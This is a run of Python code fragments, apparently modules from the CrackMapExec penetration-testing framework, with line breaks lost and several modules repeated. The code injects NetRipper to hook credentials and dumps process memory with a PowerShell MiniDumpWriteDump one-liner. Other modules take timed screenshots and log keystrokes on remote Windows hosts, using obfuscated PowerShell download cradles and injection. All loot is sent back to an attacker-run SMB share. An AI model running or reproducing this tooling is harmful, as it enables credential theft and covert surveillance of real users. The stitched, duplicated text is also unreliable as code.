def _decorator(self, *args, **kwargs): global smb_server global smb_share_name get_output = False payload = None methods = [] try: payload = args[0] except IndexError: pass try: get_output = args[1] except IndexError: pass try: methods = args[2] except IndexError: pass if 'payload' in kwargs: payload = kwargs['payload'] if 'get_output' in kwargs: get_output = kwargs['get_output'] if 'methods' in kwargs: methods = kwargs['methods'] if not payload and self.args.execute: if not self.args.no_output: get_output = True if get_output or (methods and ('smbexec' in methods)): if not smb_server: #with sem: logging.debug('Starting SMB server') smb_server = CMESMBServer(self.logger, smb_share_name, verbose=self.args.verbose) smb_server.start() output = func(self, *args, **kwargs) if smb_server is not None: #with sem: smb_server.shutdown() smb_server = None return output
class CMEModule: ''' Injects NetRipper in memory using PowerShell Note: NetRipper doesn't support injecting into x64 processes yet, which very much limits its use case Module by @byt3bl33d3r ''' name = 'netripper' description = "Capture's credentials by using API hooking" supported_protocols = ['smb', 'mssql'] opsec_safe = True multiple_hosts = True def options(self, context, module_options): ''' PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync) ''' self.process = None if 'PROCESS' in module_options: self.process = module_options['PROCESS'] else: context.log.error('PROCESS option is required') exit(1) self.share_name = gen_random_string(5).upper() self.ps_script1 = obfs_ps_script('Invoke-PSInject.ps1') self.ps_script2 = obfs_ps_script( 'netripper/PowerShell/Invoke-NetRipper.ps1') context.log.info('This module will not exit until CTRL-C is pressed') context.log.info('Logs will be stored in ~/.cme/logs\n') self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) self.smb_server.start() def on_admin_login(self, context, connection): log_folder = 'netripper_{}'.format(connection.host) command = 'Invoke-NetRipper -LogLocation \\\\{}\\{}\\{}\\ -ProcessName {}'.format( context.localip, self.share_name, log_folder, self.process) netripper_cmd = gen_ps_iex_cradle(context, 'Invoke-NetRipper.ps1', command, post_back=False) launcher = gen_ps_inject(netripper_cmd, context) ps_command = create_ps_command(launcher) connection.execute(ps_command) context.log.success('Executed launcher') def on_request(self, context, request): if 'Invoke-PSInject.ps1' == request.path[1:]: request.send_response(200) request.end_headers() request.wfile.write(self.ps_script1) elif 'Invoke-NetRipper.ps1' == request.path[1:]: request.send_response(200) request.end_headers() #We received the callback, so lets setup the folder to store the screenshots log_folder_path = os.path.join( context.log_folder_path, 'netripper_{}'.format(request.client_address[0])) if not os.path.exists(log_folder_path): os.mkdir(log_folder_path) request.wfile.write(self.ps_script2) else: request.send_response(404) request.end_headers() def on_shutdown(self, context): self.smb_server.shutdown()
def on_admin_login(self, context, connection): def __sleep_and_print(seconds): for k in range(1, seconds + 1): stdout.write('\r{dot}'.format(dot='.' * k)) stdout.flush() sleep(1) stdout.write('\n') def format_size(filesize): unit = "B" size = filesize if filesize / 1000000000 > 0: unit = "G" + unit size = filesize / 1000000000 elif filesize / 1000000 > 0: unit = "M" + unit size = filesize / 1000000 elif filesize / 1000 > 0: unit = "K" + unit size = filesize / 1000 return str(size) + unit file_name = gen_random_string() share_name = gen_random_string() if self.fileless: smb_server = CMESMBServer(context.log, share_name, verbose=context.verbose) local_ip = connection.conn.getSMBServer().get_socket().getsockname( )[0] smb_server.start() process_str = self.process if self.pid > 0: process_str = "-Id {pid}".format(pid=self.pid) output_name = "" if self.fileless: output_name = r"\\{host}\{share}\{name}".format(host=local_ip, share=share_name, name=file_name) else: output_name = r"\\127.0.0.1\ADMIN$\{name}".format(name=file_name) # The PowerShell oneliner comes from Out-Minidump: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1 payload = r''' $o='{output_file}';$p=Get-Process {process};$m=[PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting').GetNestedType('NativeMethods','NonPublic').GetMethod('MiniDumpWriteDump',[Reflection.BindingFlags]'NonPublic,Static');$fs=New-Object IO.FileStream($o, [IO.FileMode]::Create);$n=[IntPtr]::Zero;$r=$m.Invoke($null,@($p.Handle,$p.Id,$fs.SafeFileHandle,[UInt32] 2,$n,$n,$n));$fs.Close() '''.format(output_file=output_name, process=process_str) connection.ps_execute(payload) context.log.success('Executed launcher') context.log.info('Waiting 2s for completion') __sleep_and_print(2) if self.fileless: size = 0 while True: try: new_size = os.path.getsize( os.path.join("/tmp", "cme_hosted", file_name)) if new_size == size: break else: __sleep_and_print(2) size = new_size except OSError: __sleep_and_print(2) smb_server.shutdown() context.log.success( "Dump file received: /tmp/cme_hosted/{name}.".format( name=file_name)) else: context.log.info( r'Opening: ADMIN$\{output_file}'.format(output_file=file_name)) f = RemoteFile(connection.conn, file_name, share='ADMIN$', access=FILE_READ_DATA) try: f.open() except SessionError as e: print(e) context.log.info( 'File not found, sleeping to wait for the dump to finish') context.log.info('Sleeping 5s') __sleep_and_print(5) try: f.open() except SessionError as e: context.log.error('File not found, aborting..') return filesize = f.size() context.log.info( r'Reading: {output_file}, about {filesize}'.format( output_file=output_name, filesize=format_size(filesize))) outputfile = "{host}_{process}_{output_name}.dmp".format( host=connection.hostname if connection.hostname else connection.host, process=process_str.split(" ")[-1] if " " in process_str else process_str, output_name=file_name) output = open(outputfile, "wb") pbar = tqdm(total=filesize) bytesRead = f.read(BUF_SIZE) while bytesRead != '': pbar.update(BUF_SIZE) output.write(bytesRead) bytesRead = f.read(BUF_SIZE) output.close() pbar.close() f.close() f.delete() context.log.success( 'Dump file saved as {output} and remote file deleted.'.format( output=outputfile))
class CMEModule: ''' Executes PowerSploit's Get-TimedScreenshot script Module by @byt3bl33d3r ''' name = 'get_timedscreenshot' description = "Takes screenshots at a regular interval" supported_protocols = ['smb', 'mssql'] opsec_safe = True multiple_hosts = True def options(self, context, module_options): ''' INTERVAL Specifies the interval in seconds between taking screenshots. ENDTIME Specifies when the script should stop running in the format HH:MM (Military Time). ''' if 'INTERVAL' not in module_options: context.log.error('INTERVAL option is required!') exit(1) if 'ENDTIME' not in module_options: context.log.error('ENDTIME option is required!') exit(1) self.interval = int(module_options['INTERVAL']) self.endtime = module_options['ENDTIME'] self.share_name = gen_random_string(5).upper() context.log.info('This module will not exit until CTRL-C is pressed') context.log.info('Screenshots will be stored in ~/.cme/logs\n') self.ps_script1 = obfs_ps_script('Invoke-PSInject.ps1') self.ps_script2 = obfs_ps_script( 'powersploit/Exfiltration/Get-TimedScreenshot.ps1') self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) self.smb_server.start() def on_admin_login(self, context, connection): screen_folder = 'get_timedscreenshot_{}'.format(connection.host) screen_command = 'Get-TimedScreenshot -Path \\\\{}\\{}\\{} -Interval {} -EndTime {}'.format( context.localip, self.share_name, screen_folder, self.interval, self.endtime) screen_command = gen_ps_iex_cradle(context, 'Get-TimedScreenshot.ps1', screen_command, post_back=False) launcher = gen_ps_inject(screen_command, context) ps_command = create_ps_command(launcher) connection.execute(ps_command) context.log.success('Executed launcher') def on_request(self, context, request): if 'Invoke-PSInject.ps1' == request.path[1:]: request.send_response(200) request.end_headers() request.wfile.write(self.ps_script1) elif 'Get-TimedScreenshot.ps1' == request.path[1:]: request.send_response(200) request.end_headers() #We received the callback, so lets setup the folder to store the screenshots screen_folder_path = os.path.join( context.log_folder_path, 'get_timedscreenshot_{}'.format(request.client_address[0])) if not os.path.exists(screen_folder_path): os.mkdir(screen_folder_path) #context.log.success('Storing screenshots in {}'.format(screen_folder_path)) request.wfile.write(self.ps_script2) else: request.send_response(404) request.end_headers() def on_shutdown(self, context): self.smb_server.shutdown()
class CMEModule: ''' Executes PowerSploit's Get-Keystrokes script Module by @byt3bl33d3r ''' name = 'get_keystrokes' description = "Logs keys pressed, time and the active window" supported_protocols = ['smb', 'mssql'] opsec_safe = True multiple_hosts = True def options(self, context, module_options): ''' TIMEOUT Specifies the interval in minutes to capture keystrokes. STREAM Specifies whether to stream the keys over the network (default: False) POLL Specifies the interval in seconds to poll the log file (default: 20) ''' if 'TIMEOUT' not in module_options: context.log.error('TIMEOUT option is required!') exit(1) self.stream = False self.poll = 20 self.timeout = int(module_options['TIMEOUT']) if 'STREAM' in module_options: self.stream = bool(module_options['STREAM']) if 'POLL' in module_options: self.poll = int(module_options['POLL']) context.log.info('This module will not exit until CTRL-C is pressed') context.log.info('Keystrokes will be stored in ~/.cme/logs\n') self.ps_script1 = obfs_ps_script( 'cme_powershell_scripts/Invoke-PSInject.ps1') self.ps_script2 = obfs_ps_script( 'powersploit/Exfiltration/Get-Keystrokes.ps1') if self.stream: self.share_name = gen_random_string(5).upper() self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) self.smb_server.start() else: self.file_name = gen_random_string(5) def on_admin_login(self, context, connection): keys_folder = 'get_keystrokes_{}'.format(connection.host) if not self.stream: command = 'Get-Keystrokes -LogPath "$Env:Temp\\{}" -Timeout {}'.format( self.file_name, self.timeout) else: command = 'Get-Keystrokes -LogPath \\\\{}\\{}\\{}\\keys.log -Timeout {}'.format( context.localip, self.share_name, keys_folder, self.timeout) keys_command = gen_ps_iex_cradle(context, 'Get-Keystrokes.ps1', command, post_back=False) launcher = gen_ps_inject(keys_command, context) ps_command = create_ps_command(launcher) connection.execute(ps_command) context.log.success('Executed launcher') if not self.stream: users = connection.loggedon_users() keys_folder_path = os.path.join(context.log_folder_path, keys_folder) try: while True: for user in users: if '$' not in user.wkui1_username and os.path.exists( keys_folder_path): keys_log = os.path.join( keys_folder_path, 'keys_{}.log'.format(user.wkui1_username)) with open(keys_log, 'a+') as key_file: file_path = '/Users/{}/AppData/Local/Temp/{}'.format( user.wkui1_username, self.file_name) try: connection.conn.getFile( 'C$', file_path, key_file.write) context.log.success( 'Got keys! Stored in {}'.format( keys_log)) except Exception as e: context.log.debug( 'Error retrieving key file contents from {}: {}' .format(file_path, e)) sleep(self.poll) except KeyboardInterrupt: pass def on_request(self, context, request): if 'Invoke-PSInject.ps1' == request.path[1:]: request.send_response(200) request.end_headers() request.wfile.write(self.ps_script1) elif 'Get-Keystrokes.ps1' == request.path[1:]: request.send_response(200) request.end_headers() # We received the callback, so lets setup the folder to store the keys keys_folder_path = os.path.join( context.log_folder_path, 'get_keystrokes_{}'.format(request.client_address[0])) if not os.path.exists(keys_folder_path): os.mkdir(keys_folder_path) request.wfile.write(self.ps_script2) request.stop_tracking_host() else: request.send_response(404) request.end_headers() def on_shutdown(self, context, connection): if self.stream: self.smb_server.shutdown()
class CMEModule: ''' Injects NetRipper in memory using PowerShell Note: NetRipper doesn't support injecting into x64 processes yet, which very much limits its use case Module by @byt3bl33d3r ''' name = 'netripper' description = "Capture's credentials by using API hooking" supported_protocols = ['smb', 'mssql'] opsec_safe = True multiple_hosts = True def options(self, context, module_options): ''' PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync) ''' self.process = None if 'PROCESS' in module_options: self.process = module_options['PROCESS'] else: context.log.error('PROCESS option is required') exit(1) self.share_name = gen_random_string(5).upper() self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1') self.ps_script2 = obfs_ps_script('netripper/PowerShell/Invoke-NetRipper.ps1') context.log.info('This module will not exit until CTRL-C is pressed') context.log.info('Logs will be stored in ~/.cme/logs\n') self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) self.smb_server.start() def on_admin_login(self, context, connection): log_folder = 'netripper_{}'.format(connection.host) command = 'Invoke-NetRipper -LogLocation \\\\{}\\{}\\{}\\ -ProcessName {}'.format(context.localip, self.share_name, log_folder, self.process) netripper_cmd = gen_ps_iex_cradle(context, 'Invoke-NetRipper.ps1', command, post_back=False) launcher = gen_ps_inject(netripper_cmd, context) connection.ps_execute(launcher) context.log.success('Executed launcher') def on_request(self, context, request): if 'Invoke-PSInject.ps1' == request.path[1:]: request.send_response(200) request.end_headers() request.wfile.write(self.ps_script1) elif 'Invoke-NetRipper.ps1' == request.path[1:]: request.send_response(200) request.end_headers() #We received the callback, so lets setup the folder to store the screenshots log_folder_path = os.path.join(context.log_folder_path, 'netripper_{}'.format(request.client_address[0])) if not os.path.exists(log_folder_path): os.mkdir(log_folder_path) request.wfile.write(self.ps_script2) else: request.send_response(404) request.end_headers() def on_shutdown(self, context): self.smb_server.shutdown()
class CMEModule: ''' Executes PowerSploit's Get-TimedScreenshot script Module by @byt3bl33d3r ''' name = 'get_timedscreenshot' description = "Takes screenshots at a regular interval" supported_protocols = ['smb', 'mssql'] opsec_safe = True multiple_hosts = True def options(self, context, module_options): ''' INTERVAL Specifies the interval in seconds between taking screenshots. ENDTIME Specifies when the script should stop running in the format HH:MM (Military Time). ''' if 'INTERVAL' not in module_options: context.log.error('INTERVAL option is required!') exit(1) if 'ENDTIME' not in module_options: context.log.error('ENDTIME option is required!') exit(1) self.interval = int(module_options['INTERVAL']) self.endtime = module_options['ENDTIME'] self.share_name = gen_random_string(5).upper() context.log.info('This module will not exit until CTRL-C is pressed') context.log.info('Screenshots will be stored in ~/.cme/logs\n') self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1') self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-TimedScreenshot.ps1') self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) self.smb_server.start() def on_admin_login(self, context, connection): screen_folder = 'get_timedscreenshot_{}'.format(connection.host) screen_command = 'Get-TimedScreenshot -Path \\\\{}\\{}\\{} -Interval {} -EndTime {}'.format(context.localip, self.share_name, screen_folder, self.interval, self.endtime) screen_command = gen_ps_iex_cradle(context, 'Get-TimedScreenshot.ps1', screen_command, post_back=False) launcher = gen_ps_inject(screen_command, context) connection.ps_execute(launcher) context.log.success('Executed launcher') def on_request(self, context, request): if 'Invoke-PSInject.ps1' == request.path[1:]: request.send_response(200) request.end_headers() request.wfile.write(self.ps_script1) elif 'Get-TimedScreenshot.ps1' == request.path[1:]: request.send_response(200) request.end_headers() #We received the callback, so lets setup the folder to store the screenshots screen_folder_path = os.path.join(context.log_folder_path, 'get_timedscreenshot_{}'.format(request.client_address[0])) if not os.path.exists(screen_folder_path): os.mkdir(screen_folder_path) #context.log.success('Storing screenshots in {}'.format(screen_folder_path)) request.wfile.write(self.ps_script2) else: request.send_response(404) request.end_headers() def on_shutdown(self, context): self.smb_server.shutdown()
class CMEModule: ''' Executes PowerSploit's Get-Keystrokes script Module by @byt3bl33d3r ''' name = 'get_keystrokes' description = "Logs keys pressed, time and the active window" supported_protocols = ['smb', 'mssql'] opsec_safe = True multiple_hosts = True def options(self, context, module_options): ''' TIMEOUT Specifies the interval in minutes to capture keystrokes. STREAM Specifies whether to stream the keys over the network (default: False) POLL Specifies the interval in seconds to poll the log file (default: 20) ''' if 'TIMEOUT' not in module_options: context.log.error('TIMEOUT option is required!') exit(1) self.stream = False self.poll = 20 self.timeout = int(module_options['TIMEOUT']) if 'STREAM' in module_options: self.stream = bool(module_options['STREAM']) if 'POLL' in module_options: self.poll = int(module_options['POLL']) context.log.info('This module will not exit until CTRL-C is pressed') context.log.info('Keystrokes will be stored in ~/.cme/logs\n') self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1') self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-Keystrokes.ps1') if self.stream: self.share_name = gen_random_string(5).upper() self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) self.smb_server.start() else: self.file_name = gen_random_string(5) def on_admin_login(self, context, connection): keys_folder = 'get_keystrokes_{}'.format(connection.host) if not self.stream: command = 'Get-Keystrokes -LogPath "$Env:Temp\\{}" -Timeout {}'.format(self.file_name, self.timeout) else: command = 'Get-Keystrokes -LogPath \\\\{}\\{}\\{}\\keys.log -Timeout {}'.format(context.localip, self.share_name, keys_folder, self.timeout) keys_command = gen_ps_iex_cradle(context, 'Get-Keystrokes.ps1', command, post_back=False) launcher = gen_ps_inject(keys_command, context) ps_command = create_ps_command(launcher) connection.execute(ps_command) context.log.success('Executed launcher') if not self.stream: users = connection.loggedon_users() keys_folder_path = os.path.join(context.log_folder_path, keys_folder) try: while True: for user in users: if '$' not in user.wkui1_username and os.path.exists(keys_folder_path): keys_log = os.path.join(keys_folder_path, 'keys_{}.log'.format(user.wkui1_username)) with open(keys_log, 'a+') as key_file: file_path = '/Users/{}/AppData/Local/Temp/{}'.format(user.wkui1_username, self.file_name) try: connection.conn.getFile('C$', file_path, key_file.write) context.log.success('Got keys! Stored in {}'.format(keys_log)) except Exception as e: context.log.debug('Error retrieving key file contents from {}: {}'.format(file_path, e)) sleep(self.poll) except KeyboardInterrupt: pass def on_request(self, context, request): if 'Invoke-PSInject.ps1' == request.path[1:]: request.send_response(200) request.end_headers() request.wfile.write(self.ps_script1) elif 'Get-Keystrokes.ps1' == request.path[1:]: request.send_response(200) request.end_headers() # We received the callback, so lets setup the folder to store the keys keys_folder_path = os.path.join(context.log_folder_path, 'get_keystrokes_{}'.format(request.client_address[0])) if not os.path.exists(keys_folder_path): os.mkdir(keys_folder_path) request.wfile.write(self.ps_script2) request.stop_tracking_host() else: request.send_response(404) request.end_headers() def on_shutdown(self, context, connection): if self.stream: self.smb_server.shutdown()